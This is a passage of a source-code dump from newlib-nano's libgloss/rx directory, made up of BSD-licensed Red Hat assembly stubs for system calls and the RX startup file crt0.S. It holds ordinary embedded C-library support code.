INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(write)
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/times.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(times)
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/utime.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(utime)
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/chdir.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(chdir)
32bitmicro/newlib-nano-1.0	1,593	libgloss/rx/isatty.S	/* Copyright (c) 2008, 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ .global __isatty __isatty: .weak _isatty _isatty: mov #1,r1 rts
32bitmicro/newlib-nano-1.0	1,507	libgloss/rx/open.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(open)
32bitmicro/newlib-nano-1.0	1,507	libgloss/rx/link.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(link)
32bitmicro/newlib-nano-1.0	1,584	libgloss/rx/exit.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" .global __exit __exit: pushm r1-r2 bsr.a __rx_fini popm r1-r2 SYSCALL(SYS_exit)
32bitmicro/newlib-nano-1.0	1,507	libgloss/rx/argv.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(argv)
32bitmicro/newlib-nano-1.0	1,507	libgloss/rx/kill.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(kill)
32bitmicro/newlib-nano-1.0	1,507	libgloss/rx/read.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(read)
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/close.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(close)
32bitmicro/newlib-nano-1.0	1,509	libgloss/rx/getpid.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(getpid)
32bitmicro/newlib-nano-1.0	1,543	libgloss/rx/heaptop.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" #define SYS__set_heaptop 11 S(_set_heaptop)
32bitmicro/newlib-nano-1.0	4,452	libgloss/rx/crt0.S	/* Copyright (c) 2008, 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. This software is provided by the copyright holders and contributors "AS IS" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall Red Hat incorporated be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use of this software, even if advised of the possibility of such damage. / .text .global _start _start: .LFB2: mvtc #0, psw / Enable the DN bit - this should have been done for us by the CPU reset, but it is best to make sure for ourselves. / mvtc #0x100, fpsw mov #__stack, r0 mvtc #__vectors, intb mov #__datastart, r1 mov #__romdatastart, r2 mov #__romdatacopysize, r3 smovf mov #__bssstart, r1 mov #0, r2 mov #__bsssize, r3 sstr.l / Initialise the small data area pointer. The register used here must agree with the definition of GP_BASE_REGNUM in gcc/config/rx/rx.h. / mov #__gp, r13 bsr.a __rx_init #ifdef PROFILE_SUPPORT / Defined in gcrt0.S. / mov # _start, r1 mov # _etext, r2 bsr.a __monstartup #endif mov #0, r1 / argc / mov #0, r2 / argv / mov #0, r3 / envv / bsr.a _main .LFE2: #ifdef PROFILE_SUPPORT mov r1, r13 ; Save return code. bsr.a __mcleanup mov r13, r1 #endif bsr.a _exit .global _rx_run_preinit_array .type _rx_run_preinit_array,@function _rx_run_preinit_array: mov #__preinit_array_start,r1 mov #__preinit_array_end,r2 bra.a _rx_run_inilist .global _rx_run_init_array .type _rx_run_init_array,@function _rx_run_init_array: mov #__init_array_start,r1 mov #__init_array_end,r2 mov #4, r3 bra.a _rx_run_inilist .global _rx_run_fini_array .type _rx_run_fini_array,@function _rx_run_fini_array: mov #__fini_array_start,r2 mov #__fini_array_end,r1 mov #-4, r3 / fall through */ _rx_run_inilist: next_inilist: cmp r1,r2 beq.b done_inilist mov.l [r1],r4 cmp #-1, r4 beq.b skip_inilist cmp #0, r4 beq.b skip_inilist pushm r1-r3 jsr r4 popm r1-r3 skip_inilist: add r3,r1 bra.b next_inilist done_inilist: rts .section .init,"ax" .global __rx_init __rx_init: .section .fini,"ax" .global __rx_fini __rx_fini: bsr.a _rx_run_fini_array .section .sdata .balign 4 .global __gp .weak __gp __gp: .section .data .global ___dso_handle .weak ___dso_handle ___dso_handle: .long 0 ;;; Provide Dwarf unwinding information that will help GDB stop ;;; backtraces at the right place. This is stolen from assembly ;;; code generated by GCC with -dA. .section .debug_frame,"",@progbits .Lframe0: .4byte .LECIE0-.LSCIE0 ; Length of Common Information Entry .LSCIE0: .4byte 0xffffffff ; CIE Identifier Tag .byte 0x1 ; CIE Version .ascii "\0" ; CIE Augmentation .uleb128 0x1 ; CIE Code Alignment Factor .sleb128 -1 ; CIE Data Alignment Factor .byte 0xd ; CIE RA Column .byte 0xc ; DW_CFA_def_cfa .uleb128 0xc .uleb128 0x3 .byte 0x8d ; DW_CFA_offset, column 0xd .uleb128 0x3 .p2align 2 .LECIE0: .LSFDE0: .4byte .LEFDE0-.LASFDE0 ; FDE Length .LASFDE0: .4byte .Lframe0 ; FDE CIE offset .4byte .LFB2 ; FDE initial location .4byte .LFE2-.LFB2 ; FDE address range .byte 0xf ; DW_CFA_def_cfa_expression .uleb128 1 ; length of expression .byte 0x30 ; DW_OP_lit0 .p2align 2 .LEFDE0: .text
32bitmicro/newlib-nano-1.0	1,543	libgloss/rx/sigprocmask.S	/* Copyright (c) 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" #define SYS_sigprocmask 127 S(sigprocmask)
32bitmicro/newlib-nano-1.0	1,510	libgloss/rx/argvlen.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(argvlen)
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/fstat.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(fstat)
32bitmicro/newlib-nano-1.0	1,532	libgloss/rx/sleep.S	/* Copyright (c) 2009 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; 